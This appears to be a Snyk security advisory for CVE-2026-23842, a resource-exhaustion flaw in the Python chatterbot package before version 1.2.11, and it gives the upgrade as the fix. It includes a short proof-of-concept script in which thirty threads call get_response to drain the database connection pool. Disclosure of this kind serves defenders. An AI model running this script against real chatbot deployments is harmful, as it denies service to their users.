Missing Release of Resource after Effective Lifetime Affecting chatterbot package, versions [,1.2.11)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-CHATTERBOT-15038747
- published20 Jan 2026
- disclosed19 Jan 2026
- creditAditya Bhatt
Introduced: 19 Jan 2026
CVE-2026-23842 (opens in a new tab)How to fix?
Upgrade ChatterBot to version 1.2.11 or higher.
Overview
ChatterBot is a ChatterBot is a machine learning, conversational dialog engine
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the get_response function. An attacker can cause persistent service unavailability by making concurrent requests that exhaust the database connection pool.
PoC
from chatterbot import ChatBot
import threading
bot = ChatBot("dos-test")
def attack():
bot.get_response("hello")
threads = []
for _ in range(30):
t = threading.Thread(target=attack)
t.start()
threads.append(t)
for t in threads:
t.join()